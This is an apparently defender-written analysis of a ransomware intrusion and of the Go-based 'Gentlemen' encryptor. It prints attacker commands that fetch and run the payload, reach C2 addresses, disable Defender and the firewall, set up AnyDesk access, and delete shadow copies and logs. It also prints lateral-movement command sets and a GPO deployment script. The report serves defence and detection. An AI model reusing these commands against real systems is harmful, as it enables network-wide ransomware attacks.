As execution expanded, the attacker attempted to establish additional command-and-control capabilities. On one compromised host, it staged the tool socks.exe – identified as a variant of SystemBC – was executed and attempted to communicate with 45.86.230[.]112, followed by validation using cmd.exe /C tasklist | findstr /i socks. This tool is commonly used to create SOCKS-based proxy channels for covert communication and internal pivoting. In this instance, however, the activity was blocked by endpoint protection. Shortly thereafter, a remotely executed payload (<random_7_char>.exe) spawned c:\\windows\\system32\\rundll32.exe, which established outbound communication to 91.107.247[.]163 Cobalt Strike C&C over ports 443 and later 80, indicating successful external command-and-control connectivity through alternative infrastructure.

At the same stage, PowerShell was executed from a scheduled task context using:

powershell.exe -ExecutionPolicy Bypass -command (new-object net.webclient).downloadfile('http://[REDACTED_DOMAIN_CONTROLLER]:8080/grand.exe', 'c:\\programdata\\r.exe'); c:\\programdata\\r.exe --password VvO8EtUh --spread [REDACTED_DOMAIN]\\[REDACTED_USER]:[REDACTED_PASSWORD]

This command downloaded grand.exe (the ransomware encryptor) from an internal staging server (DC) and executed it as c:\\programdata\\r.exe. The arguments --password VvO8EtUh and --spread [REDACTED_DOMAIN]\\[REDACTED_USER]:[REDACTED_PASSWORD] indicate both controlled execution and built-in propagation capability, marking a transition from initial access to coordinated malware deployment.

Defense Evasion, Propagation, and Persistence

Following execution of the staged payload, the attacker attempted to weaken host defenses using:

powershell.exe -Command Set-MpPreference -DisableRealtimeMonitoring $true -Force

This disabled Windows Defender real-time monitoring. The same payload, identified by a consistent hash, then appeared across numerous systems under different filenames, including c:\\programdata\\r.exe, c:\\programdata\\g.exe, and c:\\programdata\\o.exe. This demonstrates rapid internal propagation via a shared malware component, supported by both domain-level access and the built-in spreading mechanism described earlier.

In parallel, the attacker performed environmental checks using commands such as:

cmd.exe /C wmic product where Name like '%kaspe%' get Name, IdentifyingNumber

Later, repeatedly executed across multiple hosts:

cmd.exe /C gpupdate /force

These attempts suggest the threat actor tried to influence or validate policy state during propagation. Remote Desktop was then enabled through commands such as:

cmd.exe /C reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
cmd.exe /C netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Later, the attacker installed and configured AnyDesk using:

cmd.exe /C anydesk.exe --install C:\\Program Files (x86)\\AnyDesk\\anydesk.exe --start-with-win
cmd.exe /C echo Camry@12345 | C:\\Program Files (x86)\\AnyDesk\\AnyDesk.exe --set-password
cmd.exe /C anydesk.exe --start
cmd.exe /C anydesk.exe --get-id

This established a persistent remote access channel with a predefined password (Camry@12345), adding a secondary access mechanism after the SystemBC attempt was blocked.

Credential Access and Continued Discovery

Compromised hosts were also used for credential harvesting. Mimikatz output recovered from memory on one of the compromised endpoints showed access to credential material, including domain accounts and stored credentials from Credential Manager. This confirms that credential access occurred alongside lateral movement and malware deployment.

At the same time, the attacker continued discovery operations using commands such as:

cmd.exe /C query session
cmd.exe /C nltest /domain_trusts
cmd.exe /C nltest /dclist
cmd.exe /C net group "Domain Admins" /domain
cmd.exe /C net group "Enterprise Admins" /domain

These commands indicate enumeration of active sessions, domain trust relationships, domain controllers, and privileged groups, reflecting a shift toward understanding and potentially controlling the broader domain structure.

Consolidated View of the Intrusion

Taken together, the attack progressed from suspected perimeter access to domain-level control, followed by credential validation, remote payload execution via ADMIN$ shares, and rapid expansion across endpoints. This was accompanied by attempted and successful command-and-control establishment using infrastructure such as 45.86.230[.]112 and 91.107.247[.]163, staged malware delivery from the internal DC, and widespread propagation of a shared payload under multiple filenames. Defensive measures were actively suppressed, and multiple persistence and exfiltration mechanisms were introduced, including RDP and AnyDesk.

The failed deployment of SystemBC and the subsequent reliance on alternative channels demonstrate that the attacker adapted their approach when blocked. Overall, the activity reflects coordinated, centrally controlled execution with layered access mechanisms, resulting in broad, durable control over the environment.

Impact

The intrusion culminated in the deployment of The Gentlemen RaaS payload by an affiliate, using Group Policy as the distribution mechanism. A GPO‑based deployment was configured so that the ransomware binary was executed on domain‑joined systems during policy refresh, resulting in a rapid, near‑simultaneous encryption event across the environment.

The Gentlemen GO Ransomware

The Gentlemen ransomware is developed in the Go programming language. It appears to be under active development, with new features and capabilities being continuously added over time.

Command Line Arguments

The Gentlemen ransomware exposes a wide range of command‑line options that provide numerous features to its operators. While most flags are optional, the only mandatory argument required to start the encryption process is --password, which appears to be unique per build/infection.

Usage: %s --password PASS [--path DIR1,DIR2,...] [--T MIN] [--silent] [--wipe] [--keep] [--full/system/shares] [--gpo/spread] [--fast/superfast/ultrafast] 

  Main Flags 
  --password PASS    Access password (required)
  --path DIRS        Comma-separated list of target directories/disks (optional)
  --T MIN            Delay before start, in minutes (optional)

  Mode Flags (cant be mixed) 
  --system           Run as SYSTEM: encrypt only local drives (optional)
  --shares           Encrypt only mapped network drives and available UNC shares in session context (optional)
  --full             Two-phase: --system + --shares. Best practice. (optional)

  Additional Flags 
  --spread CREDS     Lateral movement: "domain/user:pass" with creds, or "" for current session
  --gpo              Deploy via Group Policy to all domain computers (run on DC)
  --silent           Silent mode: do NOT rename and modify time of files after encryption, no wallpaper(optional)
  --keep             Do not selfdelete after encryption (optional)
  --wipe             Wipe free space after encryption (optional)

  Speed Flags (cant be mixed) 
  --fast             9 percent crypt. (optional)
  --superfast        3 percent crypt. (optional)
  --ultrafast        1 percent crypt. (optional)

    Example 1: --password QWERTY --path "C:\\,D:\\,\\\\nas\\share" --T 15 --silent
    Example 2: --password QWERTY --system --fast
    Example 3: --password QWERTY --shares --T 10
    Example 4: --password QWERTY --full --ultrafast
    Example 5: --password QWERTY --full --spread "domain\\admin:P@ss"  # With credentials
    Example 6: --password QWERTY --T 10 --keep --spread ""                     # Current session
    Example 7: --password QWERTY --gpo --full --fast

[+]

The minimum required command‑line for The Gentlemen ransomware execution is:

$process_name --password $pass

The password is plaintext hardcoded in the binary validates it with the password provided in the required argument.

Processes & Services Termination

To terminate running processes, the malware repeatedly executes the following command in a loop for each targeted process:

• taskkill /IM <process>.exe /F

Category	Processes targeted
VMware / Hyper-V	vmms, vmwp, vmcompute, vmacthlp, vmtoolsd, vmware, vmware-tray, vmware-vmx, vmwareuser
SQL Server	sqlservr, sql, sqlbrowser, sqlwriter, SQLAGENT, sqlceip, sqbcoreservice, fdlauncher, fdhost, isqlplussvc, ReportingServicesService, Microsoft.SqlServer.Management, Microsoft.SqlServer.IntegrationServices.WorkerAgentServiceHost, DBeaver, Ssms, dbeng50, dbsnmp
MySQL / PostgreSQL / Oracle	mysqld, oracle, postmaster, postgres, psql, pgAdmin3, pgAdmin4, ocssd, ocomm, ocautoupds
Backup & Recovery	Datto, cbService, cbVSCService11, cbInterface, MSP360, Macrium, Acronis, Carbonite, CrashPlan, Unitrends, StorageCraft, raw_agent_svc, vsnapvss, ShadowProtectSvc, Iperius, IperiusService, avagent, avscc, CagService
Veeam	VeeamNFSSvc, VeeamTransportSvc, VeeamDeploymentSvc, Veeam.EndPoint.Service
Commvault	CVMountd, cvd, cvfwd, CVODS
SAP	SAP, saphostexec, saposco, sapstartsrv, agntsvc
Veritas / Symantec BE	bedbh, vxmon, benetns, bengien, pvlsvr, beserver
Office / Productivity	excel, infopath, msaccess, mspub, onenote, outlook, powerpnt, visio, winword, wordpad, notepad
Email Clients	thebat, thunderbird, tbirdconfig
Web / App Servers	w3wp, encsvc, xfssvccon
Remote Access	TeamViewer_Service, TeamViewer, tv_w32, tv_x64
QuickBooks	QBIDPService, QBDBMgrN, QBCFMonitorService
Desktop / Misc Services	mydesktopqos, mydesktopservice, mvdesktopservice, synctime, EnterpriseClient, DellSystemDetect, Docker Desktop
Other	firefox, steam

For service termination, the ransomware relies on two distinct commands:

1. sc config <service> start=disabled, sends a stop signal to the service right now, killing it immediately if it’s currently running.
2. sc stop <service>, sends a stop signal to the service right now, killing it immediately if it’s currently running.

Category	Services targeted
Backup & Recovery	vmms, veeam, backup, vss, YooBackup, DattoBackup, MSP360Service, Macrium*, ShadowProtectSvc, PDVFSService, AcronisCyberProtect, AcronisAgent, AcrSch2Svc, VSNAPVSS, storflt, stc_raw_agent, VeeamNFSSvc, VeeamDeploymentService, VeeamTransportSvc
Veritas / Backup Exec	BackupExec*, BackupExecVSSProvider, BackupExecAgentAccelerator, BackupExecAgentBrowser, BackupExecDiveciMediaService, BackupExecJobEngine, BackupExecManagementService, BackupExecRPCService
SQL / Databases	Sql, sql, MSSQL*, MSSQLSERVER, MSSQL, MSSQL$SQLEXPRESS, SQLSERVERAGENT, SQLWriter, SQLAgent$SQLEXPRESS, MsDtsServer150, SSISScaleOutWorker150, SSSScaleOutMaster, SSSScaleOutWorker, SSASTELEMETRY, SQL Server Distributed Replay Client, SQL Server Distributed Replay Controller, MySQL, MariaDB, postgresql, OracleServiceORCL, (.)sql(.)
VMware	VMware, VMwareTools, VMwareHostd, VMAuthdService, VMUSBArbService
Exchange / SharePoint	msexchange, MSExchange, MSExchange\$, WSBExchange, SPAdminV4
Security / AV	Symantec*, sophos, DefWatch, RTVscan, SavRoam, ccSetMgr, ccEvtMgr, MVarmor, MVarmor64, zhudongfangyu
Commvault (Gx)*	GxBlr, GxVss, GxClMgrS, GxCVD, GxClMgr, GXMMM, GxVsshWProv, GxFWD
SAP	SAP, SAP$, SAPD$, SAPService, SAPHostControl, SAPHostExec
Veritas	Veritas*
QuickBooks	QBCFMonitorService, QBDBMgrN, QBIDPService
Other / Misc	mepocs, memtas, docker, CAARCUpdateSvc, CASAD2DWebSvc, YooIT, svc$

Persistence

During execution, the ransomware attempts to establish persistence using multiple mechanisms. It first attempts to create a scheduled task, initially without validating the current process privileges:

• schtasks /Delete /TN UpdateSystem /F
• schtasks /Create /SC ONSTART /TN UpdateSystem /TR "<exe> <args>" /RU SYSTEM

In a second attempt, the ransomware creates the same scheduled task in the user context by reissuing the commands without the /RU SYSTEM.

• schtasks /Delete /TN UpdateUser /F
• schtasks /Create /SC ONSTART /TN UpdateUser /TR "<exe> <args>"

The second local persistence method relies on a Run registry key. As with scheduled tasks, the malware attempts to configure this both for the system (HKLM) and for the current user (HKCU):

• reg add HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v GupdateU /t REG_SZ /d "<exe>" /f

When the --spread argument is enabled, the ransomware also attempts to maintain remote persistence on each reachable host. For each target, it sets up two persistence mechanisms:

• Scheduled tasks–based persistence
• Service–based persistence

Both mechanisms attempt to execute the ransomware from different locations on the remote machine or over a share.

# Scheduled Tasks
schtasks /Create /S <target> /TN DefS /TR "<exe>" /SC ONCE /ST <HH:MM> /RU SYSTEM
schtasks /Run /S <target> /TN DefS

schtasks /Create /S <target> /TN UpdateGS /TR "\\\\<host>\\share$\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
schtasks /Run /S <target> /TN UpdateGS

schtasks /Create /S <target> /TN UpdateGS2 /TR "C:\\Temp\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
schtasks /Run /S <target> /TN UpdateGS2

# Services
sc \\\\<target> create DefSvc binpath= "<exe>"
sc \\\\<target> start DefSvc

sc \\\\<target> create UpdateSvc binpath= "\\\\<host>\\share$\\<exe> <creds>"
sc \\\\<target> start UpdateSvc

sc \\\\<target> create UpdateSvc2 binpath= "C:\\Temp\\<exe> <creds>"
sc \\\\<target> start UpdateSvc2

*Full command lines for the --spread argument are provided further below.

Antivirus Evasion

The ransomware executes three PowerShell commands to disable Microsoft Defender protection and exclude both itself and the entire C:\\ drive from scanning and monitoring:

• powershell -Command Set-MpPreference -DisableRealtimeMonitoring $true -Force, disables Defender’s real-time protection entirely, the background scanning that monitors files, downloads, and processes as they’re accessed. With this off, malware can run without being intercepted.
• powershell -Command Add-MpPreference -ExclusionProcess <ransomware_exe> -Force, adds a specific executable to Defender’s process exclusion list. Defender will completely ignore any file activity triggered by that process, even if it’s doing something malicious.
• powershell -Command Add-MpPreference -ExclusionPath C:\\ -Force, adds the entire C: drive to Defender’s path exclusion list. This tells Defender to skip scanning anything on the drive, every file, folder, and executable.

During lateral movement, the ransomware makes an attempt to blind Windows Defender on each reachable remote host by pushing a PowerShell script that disables real-time monitoring, adds broad exclusions for the drive, staging share, and its own process, shuts down the firewall, re-enables SMB1, and loosens LSA anonymous access controls, all before deploying and executing the ransomware binary on that host.

Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath 'C:\\'
Add-MpPreference -ExclusionPath 'C:\\Temp'
Add-MpPreference -ExclusionPath '\\\\<host>\\share$'
Add-MpPreference -ExclusionProcess '<exe>'
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
reg add ...\\Lsa /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
reg add ...\\Lsa /v RestrictAnonymous /t REG_DWORD /d 0 /f

Windows Firewall

The ransomware tries to disable the firewall to allow unrestricted outbound and inbound traffic. This enables lateral movement tools (PsExec, WMI, SMB) to reach remote hosts without firewall rules blocking them, and allows exfiltration channels to operate freely. Bellow the executed commands deactivating the firewall:

• netsh advfirewall set allprofiles state off
• powershell -Command Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
• sc stop mpssvc
• sc config mpssvc start=disabled

Lateral movement, --spread argument

The --spread argument is disabled by default and is assigned the value "DISABLED". The lateral movement phase is only activated when the operator explicitly supplies --spread "domain\\user:password", providing credentials harvested from the environment.

These credentials are then reused across all lateral movement operations: PsExec receives them via the -u and -p parameters, WMI uses them for remote authentication, and remote scheduled task and service creation, authenticating with them against each target host.

Once --spread is enabled, the ransomware enumerates all domain computers via Active Directory, pings each discovered host to confirm reachability, and, for every host that responds, executes the full lateral movement sequence: copying the binary, pushing the Defender‑disabling script, and deploying it through six parallel execution channels across PsExec, WMI, scheduled tasks, and services.

 --- SETUP (executed once before the per-target loop) ---

 cmd /C copy "<exe>" "C:\\Temp\\" /Y
 cmd /C xcopy "<exe>" "\\\\<host>\\C$\\Temp\\" /Y /I /C /H /R /K
 cmd /C net share share$=C:\\Temp /GRANT:Everyone,FULL
 cmd /C icacls C:\\Temp /grant "ANONYMOUS LOGON":F
 cmd /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters
        /v NullSessionShares /t REG_MULTI_SZ /d share$ /f
 cmd /C reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa
        /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f

 --- PER TARGET (loop over all reachable hosts) ---

 -- File copy to target --
 cmd /C copy "<exe>" "C:\\Temp\\" /Y
 cmd /C xcopy "<exe>" "\\\\<target>\\C$\\Temp\\" /Y /I /C /H /R /K

 -- PsExec: disable Defender on target (with credentials) --
 psexec \\\\<target> -accepteula -d -s -u <domain\\user> -p <pass>
     cmd /c <DEFENDER_SCRIPT_A>

 -- PsExec: disable Defender on target (no credentials) --
 psexec \\\\<target> -accepteula -d -s
     cmd /c <DEFENDER_SCRIPT_A>

 -- PsExec: run via local Temp (with credentials) --
 psexec \\\\<target> -accepteula -d -h -u <domain\\user> -p <pass>
     C:\\Temp\\<exe> <creds>

 -- PsExec: run via local Temp (no credentials) --
 psexec \\\\<target> -accepteula -d -h
     C:\\Temp\\<exe>

 -- WMI: run Defender disable script --
 wmic /node:<target> process call create "<DEFENDER_SCRIPT_A>"

 -- WMI: run via share path --
 wmic /node:<target> process call create
    "\\\\<host>\\share$\\<exe> <creds>"

 -- WMI: run via local Temp --
 wmic /node:<target> process call create
    "C:\\Temp\\<exe> <creds>"

 -- Remote schtask: DefU (no SYSTEM) --
 schtasks /Create /S <target> /TN DefU
      /TR "<exe>" /SC ONCE /ST <HH:MM>
 schtasks /Run   /S <target> /TN DefU

 -- Remote schtask: UpdateGU (share path) --
 schtasks /Create /S <target> /TN UpdateGU
      /TR "\\\\<host>\\share$\\<exe> <creds>" /SC ONCE /ST <HH:MM>
 schtasks /Run   /S <target> /TN UpdateGU

 -- Remote schtask: UpdateGU2 (local Temp) --
 schtasks /Create /S <target> /TN UpdateGU2
      /TR "C:\\Temp\\<exe> <creds>" /SC ONCE /ST <HH:MM>
 schtasks /Run   /S <target> /TN UpdateGU2

 -- Remote schtask: DefS (SYSTEM, direct exe) --
 schtasks /Create /S <target> /TN DefS
      /TR "<exe>" /SC ONCE /ST <HH:MM> /RU SYSTEM
 schtasks /Run   /S <target> /TN DefS

 -- Remote schtask: UpdateGS (SYSTEM, share path) --
 schtasks /Create /S <target> /TN UpdateGS
      /TR "\\\\<host>\\share$\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
 schtasks /Run   /S <target> /TN UpdateGS

 -- Remote schtask: UpdateGS2 (SYSTEM, local Temp) --
 schtasks /Create /S <target> /TN UpdateGS2
      /TR "C:\\Temp\\<exe> <creds>" /SC ONCE /ST <HH:MM> /RU SYSTEM
 schtasks /Run   /S <target> /TN UpdateGS2

 -- Remote service: DefSvc (direct exe) --
 sc \\\\<target> create DefSvc  binpath= "<exe>"
 sc \\\\<target> start  DefSvc

 -- Remote service: UpdateSvc (share path) --
 sc \\\\<target> create UpdateSvc  binpath= "\\\\<host>\\share$\\<exe> <creds>"
 sc \\\\<target> start  UpdateSvc

 -- Remote service: UpdateSvc2 (local Temp) --
 sc \\\\<target> create UpdateSvc2 binpath= "C:\\Temp\\<exe> <creds>"
 sc \\\\<target> start  UpdateSvc2

 -- Remote PowerShell: SCRIPT_B — full Defender/firewall/SMB1/LSA/shares (no creds) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Set-MpPreference -DisableRealtimeMonitoring $true;
    Add-MpPreference -ExclusionPath 'C:\\';
    Add-MpPreference -ExclusionPath 'C:\\Temp';
    Add-MpPreference -ExclusionPath '\\\\<host>\\share$';
    Add-MpPreference -ExclusionProcess '<exe>';
    Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False;
    Get-PSDrive -PSProvider FileSystem |
     Where-Object {$_.Name -match '^[A-Z]$'} |
     ForEach-Object {
      $d = $_.Name;
      net share ($d+'$')=($d+':\\') /GRANT:Everyone,FULL 2>$null;
      icacls ($d+':\\') /grant Everyone:F /T /C /Q 2>$null
     };
    Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart 2>$null;
    reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa'
      /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f 2>$null;
    reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa'
      /v RestrictAnonymous /t REG_DWORD /d 0 /f 2>$null"

 -- Remote PowerShell: SCRIPT_C — WinRM Defender disable + process exclusion (with creds) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock {
      Set-MpPreference -DisableRealtimeMonitoring $true;
      Add-MpPreference -ExclusionPath 'C:\\';
      Add-MpPreference -ExclusionProcess '<exe>'
    }"

 -- Remote PowerShell: SCRIPT_D — WinRM start process via share (no creds, 67-char template) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock { Start-Process '<exe>' }"

 -- Remote PowerShell: SCRIPT_E — WinRM start process via share with args (with creds, 96-char template) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock {
      Start-Process -FilePath '<\\\\<host>\\share$\\<exe>>' -ArgumentList '<creds>'
    }"

 -- Remote PowerShell: SCRIPT_F — WinRM start process via local Temp (no creds, 63-char template) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock { Start-Process 'C:\\Temp\\<exe>' }"

 -- Remote PowerShell: SCRIPT_G — WinRM start process via local Temp with args (with creds) --
 powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Invoke-Command -ComputerName <target> -ScriptBlock {
      Start-Process -FilePath 'C:\\Temp\\<exe>' -ArgumentList '<creds>'
    }"
    

 SCRIPT_A (Defender disable — used inline by PsExec and WMI calls)
 ---------------------------------------------------------------
 powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true;
   Add-MpPreference -ExclusionPath 'C:\\';
   Add-MpPreference -ExclusionPath 'C:\\Temp';
   Add-MpPreference -ExclusionPath '\\\\<host>\\share$';
   Add-MpPreference -ExclusionProcess '<exe>';
   Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False;
   Enable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart 2>$null;
   reg add HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa
     /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f 2>$null;
   reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa'
     /v RestrictAnonymous /t REG_DWORD /d 0 /f 2>$null"

Deploy via Group Policy

The --gpo flag enables the most powerful and far-reaching deployment method in the entire binary, reserved specifically for operators who have already compromised a Domain Controller. It is designed to weaponize Active Directory’s own Group Policy infrastructure to detonate the ransomware simultaneously on every computer in the domain. When --gpo is enabled, the following PowerShell script is executed:

  Write-Host "[+] Installing required modules..."
  try { Import-Module ServerManager -ErrorAction Stop } catch {}
  try { Add-WindowsFeature RSAT-AD-PowerShell -ErrorAction SilentlyContinue } catch {}
  try { Install-WindowsFeature RSAT-AD-PowerShell -ErrorAction SilentlyContinue } catch {}
  try { Add-WindowsCapability -Online -Name "Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0"
        -ErrorAction SilentlyContinue } catch {}
  try { Add-WindowsCapability -Online -Name "Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0"
        -ErrorAction SilentlyContinue } catch {}
  try { DISM.exe /Online /Add-Capability
        /CapabilityName:Rsat.ActiveDirectory.DS-LDS.Tools~~~~0.0.1.0 2>$null } catch {}
  try { DISM.exe /Online /Add-Capability
        /CapabilityName:Rsat.GroupPolicy.Management.Tools~~~~0.0.1.0 2>$null } catch {}
  Import-Module ActiveDirectory -ErrorAction SilentlyContinue
  Import-Module GroupPolicy -ErrorAction SilentlyContinue

  Write-Host "[+] Getting domain info..."
  try {
      $Domain   = (Get-ADDomain).DNSRoot
      $DomainDN = (Get-ADDomain).DistinguishedName
      Write-Host "[+] Domain from AD: $Domain"
  } catch {
      try {
          $Domain   = (Get-WmiObject Win32_ComputerSystem).Domain
          $DomainDN = "DC=" + ($Domain -replace '\\.',',DC=')
          Write-Host "[+] Domain from WMI: $Domain"
      } catch {
          $Domain   = $env:USERDNSDOMAIN
          $DomainDN = "DC=" + ($Domain -replace '\\.',',DC=')
          Write-Host "[+] Domain from env: $Domain"
      }
  }

  Write-Host "[+] Copying locker to NETLOGON..."
  $ExePath = "\\\\$Domain\\NETLOGON\\<exe>"
  Copy-Item -Path "<exe>" -Destination $ExePath -Force -ErrorAction SilentlyContinue

  Write-Host "[+] Creating GPO..."
  $guid = [guid]::NewGuid().ToString().ToUpper()
  New-GPO -Name "<gpo_name>" -Comment "System Update" -ErrorAction SilentlyContinue | Out-Null
  New-GPLink -Name "<gpo_name>" -Target $DomainDN -ErrorAction SilentlyContinue | Out-Null

  $GpoScheduledPath = "\\\\$Domain\\SYSVOL\\$Domain\\Policies\\{$guid}\\Machine\\Preferences\\ScheduledTasks"
  New-Item -ItemType Directory -Path $GpoScheduledPath -Force | Out-Null

  $TaskXmlPath = "$env:TEMP\\ScheduledTasks.xml"
  $TaskName    = "SystemUpdate"

  @"
  <ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
    <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}"
        name="$TaskName" image="0" changed="<timestamp>" uid="<uid>"
        userContext="0" removePolicy="0">
      <Properties action="C" name="$TaskName"
          runAs="NT AUTHORITY\\System" logonType="S4U"/>
      ...
      <BootTrigger><Enabled>true</Enabled></BootTrigger>
      <RegistrationTrigger><Enabled>true</Enabled></RegistrationTrigger>
      <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
      <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
      <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
      <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    </ImmediateTaskV2>
  </ScheduledTasks>
  "@ | Out-File -Encoding UTF8 -FilePath $TaskXmlPath -Force

  Copy-Item -Path $TaskXmlPath -Destination "$GpoScheduledPath\\ScheduledTasks.xml" -Force

  if (!(Test-Path $GpoScheduledPath)) {
      # path creation guard
  }

  $comps = Get-ADComputer -Filter * | Select-Object -ExpandProperty Name
  foreach ($_ in $comps) {
      Invoke-GPUpdate -Computer $_.name -RandomDelayInMinutes 0
          -Force -ErrorAction SilentlyContinue
      Invoke-Command -ComputerName $comp -ScriptBlock { gpupdate /force }
          -ErrorAction SilentlyContinue
  }

Drive Enumeration

For drive enumeration, the malware uses two techniques to identify available volumes:

1. PowerShell‑based discovery, using the following command.
2. Brute‑force drive letter scan, iterating from A: to Z: and calling os.Stat on each path to determine whether it is a valid drive.

powershell -NoProfile -Command "$volumes=@();
$volumes += Get-WmiObject -Class Win32_Volume |
    Where-Object { $_.Name -like ':\\' } |
    Select-Object -ExpandProperty Name;
try {
    $volumes += Get-ClusterSharedVolume |
        ForEach-Object { $_.SharedVolumeInfo.FriendlyVolumeName }
} catch {}
$volumes"

Network Enumeration

In order to enumerate network drives the ransomware executes a sequence of Windows commands that force-enable network discovery and related services, making the machine visible and reachable on the local network.

 sc config fdrespub start=auto
 sc start  fdrespub
 sc config fdPHost  start=auto
 sc start  fdPHost
 sc config SSDPSRV  start=auto
 sc start  SSDPSRV
 sc config upnphost start=auto
 sc start  upnphost
 netsh advfirewall firewall set rule group="Network Discovery" new enable=Yes
 powershell -Command Get-NetFirewallRule -DisplayGroup "Network Discovery" | Enable-NetFirewallRule

Then loads dynamically mpr.dll and by using the Windows API functions enumerates the networks shares:

• WNetOpenEnumW
• WNetEnumResourceW
• WNetCloseEnum

Directories, Filenames and Extensions Exclusion

As with many other ransomware families, this one also excludes specific directories, filenames, and file extensions from encryption, ensuring that the system remains at least partially usable after the attack.

Excluded Directories:

"c:\\\\windows", "system volume information", "c:\\\\intel", "admin$", "ipc$", "! Cynet Ransom Protection(DON\\'T DELETE)", "sysvol", "netlogon", "$windows.~ws", "application data", "mozilla", "c:\\\\program files\\\\microsoft", "c:\\\\program files (x86)\\\\microsoft", "c:\\\\program files (x86)\\\\intel", "$windows.~bt", "msocache", "WinSxS", "$Recycle.Bin", "c:\\\\program files\\\\windows", "c:\\\\program files (x86)\\\\windows", "c:\\\\program files\\\\intel", "tor browser", "boot", "config.msi", "google", "System32", "perflogs", "appdata", "windows.old"

Excluded Filenames:

desktop.ini, autorun.ini, ntldr, bootsect.bak, thumbs.db, boot.ini, ntuser.dat, iconcache.db, bootfont.bin, pagefile.sys, ntuser.ini, ntuser.dat.log, autorun.inf, bootmgr, hiberfil.sys, bootmgr.efi, bootmgfw.efi, #recycle, README-GENTLEMEN.txt"c:\\\\windows", "system volume information", "c:\\\\intel", "admin$", "ipc$", "! Cynet Ransom Protection(DON\\'T DELETE)", "sysvol", "netlogon", "$windows.~ws", "application data", "mozilla", "c:\\\\program files\\\\microsoft", "c:\\\\program files (x86)\\\\microsoft", "c:\\\\program files (x86)\\\\intel", "$windows.~bt", "msocache", "WinSxS", "$Recycle.Bin", "c:\\\\program files\\\\windows", "c:\\\\program files (x86)\\\\windows", "c:\\\\program files\\\\intel", "tor browser", "boot", "config.msi", "google", "System32", "perflogs", "appdata", "windows.old"

Excluded Extensions:

hemepack, nls, diapkg, msi, lnk, exe, scr, bat, drv, rtp, msp, prf, msc, ico, key, ocx, hosts, diagcab, diagcfg, pdb, wpx, hlp, icns, rom, dll, msstyles, mod, ps1, ics, hta, bin, cmd, ani, 386, lock, cur, idx, sys, com, deskthemepack, shs, theme, mpa, gif, mp3, nomedia, spl, cpl, adv, icl, msu

Shadow Copy & Logs Deletion

During execution, the ransomware attempts to delete shadow copies, which are a primary mechanism for recovering encrypted files:

• vssadmin delete shadows /all /quiet
• wmic shadowcopy delete
• rd /s /q C:\\$Recycle.Bin

In addition to shadow copies, the ransomware also deletes various log files. These logs typically contain authentication events, process and service creation events, and traces of lateral movement. The destruction of these artifacts clearly aims to remove forensic evidence of the intrusion and hinder post-incident investigation.

wevtutil cl System
wevtutil cl Application
wevtutil cl Security
del /f /q C:\\Windows\\Prefetch\\*.*
del /f /q C:\\ProgramData\\Microsoft\\Windows Defender\\Support\\*.*
del /f /q %SystemRoot%\\System32\\LogFiles\\RDP*\\*.*

Free Space Wiping

When the threat actor executes the ransomware with the --wipe argument, the malware additionally attempts to wipe free disk space. It creates a file named wipefile.tmp on each targeted drive and writes 64 MB chunks of data to it until all free space is exhausted. This process overwrites previously deleted file content that could otherwise be recovered using forensic tools.

Background Image Change

If the --silent argument is not specified, the ransomware replaces the desktop background with an embedded image. The image resource is written to %TEMP%\\gentlemen.bmp, and the malware then calls SystemParametersInfoW to set it as the desktop wallpaper.

File Encryption

Before encryption begins, the ransomware checks whether the file size exceeds 0x100000 (1,048,576 bytes, or 1 MB). Files of 1 MB or smaller are routed to the small file function, while files larger than 1 MB are routed to the large file function.

